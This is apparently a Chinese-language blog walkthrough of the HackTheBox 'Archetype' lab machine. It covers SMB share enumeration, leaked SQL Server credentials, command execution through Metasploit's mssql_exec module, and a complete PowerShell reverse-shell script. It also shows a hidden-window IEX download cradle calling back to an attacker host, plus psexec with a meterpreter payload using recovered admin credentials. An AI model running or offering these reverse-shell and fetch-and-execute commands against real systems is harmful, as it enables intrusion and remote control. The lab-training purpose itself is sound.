本文最后更新于:2022年4月14日 晚上
吐槽下VPN,太不稳定了。。
但没交钱嘛,俺无话可说
0x01 信息收集 1 nmap -sC -sV -v 10.10.10.27
-sC:使用默认脚本进行扫描,等同于–script=default -sV:探测开启的端口来获取服务、版本信息
-v:vpn不稳定,开了看扫描是不是挂掉了
典型的windows配置,没有WEB站点:
0x02 user.txt 445端口的话可以尝试SMB爆破、匿名访问等,winserver版本那么高就不可能有永恒之蓝啦。
这里最后试出来是匿名访问,使用如下命令访问共享资源列表:
1 smbclient -N -L // 10.10 .10.27 /
将-N
参数去掉即可访问对应的共享资源,然后使用dir命令即可看到共享的文件。
这里是有一个prod.dtsConfig
,使用get
命令可以下载下来:
可以拿到泄露的账户密码。Google一下能够发现是SQLSERVER的配置信息:
于是我们可以使用metasploit的mssql_exec模块执行命令:
1 2 3 4 5 6 7 8 9 10 11 12 msf6 auxiliary(admin/mssql/mssql_exec) > set rhosts 10.10.10.27 rhosts => 10.10.10.27 msf6 auxiliary(admin/mssql/mssql_exec) > set username sql_svc username => sql_svc msf6 auxiliary(admin/mssql/mssql_exec) > set password M3g4c0rp123 password => M3g4c0rp123 msf6 auxiliary(admin/mssql/mssql_exec) > set domain ARCHETYPE domain => ARCHETYPE msf6 auxiliary(admin/mssql/mssql_exec) > set use_windows_authent true use_windows_authent => true msf6 auxiliary(admin/mssql/mssql_exec) > set cmd whoami cmd => whoami
结果是肥肠不戳的,我们可以进一步把shell拿回来。
这里直接使用msf的web_delivery
模块是会被杀软拦截的,因为没有免杀(Very Easy等级的Box 上杀软真的不大丈夫嗷)。。
这里就用了官方WP提供的免杀Script:
1 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.98" ,443 );$stream = $client .GetStream();[byte []]$bytes = 0 ..65535 |%{0 };while (($i = $stream .Read($bytes , 0 , $bytes .Length)) -ne 0 ){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes ,0 , $i );$sendback = (iex $data 2 >&1 | Out-String );$sendback2 = $sendback + "# " ;$sendbyte = ([text.encoding ]::ASCII).GetBytes($sendback2 );$stream .Write($sendbyte ,0 ,$sendbyte .Length);$stream .Flush()};$client .Close()
将其保存成reverse_shell.ps1
。
接下来开启80端口的HTTPSERVER,然后在443上NC监听:
在msf上重新设置要执行的命令,注意转义。
1 set cmd PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile IEX (New-Object Net.WebClient).DownloadString(\\\"http://10.10.14.98/reverse_shell.ps1\\\");
拿到shell之后一路dir
下去。能够在用户的桌面找到user.txt
:
1 type c:\\Users\\sql_svc\\Desktop\\user.txt
0x03 root.txt root的提权是利用了命令执行历史记录的泄露。一番查找后找到目录C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
能够找到泄露的管理员凭据信息:
直接使用msf的psexec
模块即可拿到靶机的meterpreter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Name Current Setting Required ---- --------------- -------- RHOSTS 10.10.10.27 yes RPORT 445 yes SERVICE_DESCRIPTION no SERVICE_DISPLAY_NAME no SERVICE_NAME no SMBDomain . no SMBPass MEGACORP_4dm1n!! no SMBSHARE no SMBUser administrator no Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required ---- --------------- -------- EXITFUNC thread yes LHOST 10.10.14.98 yes LPORT 4444 yes
在管理员的桌面目录下即可拿到root的flag: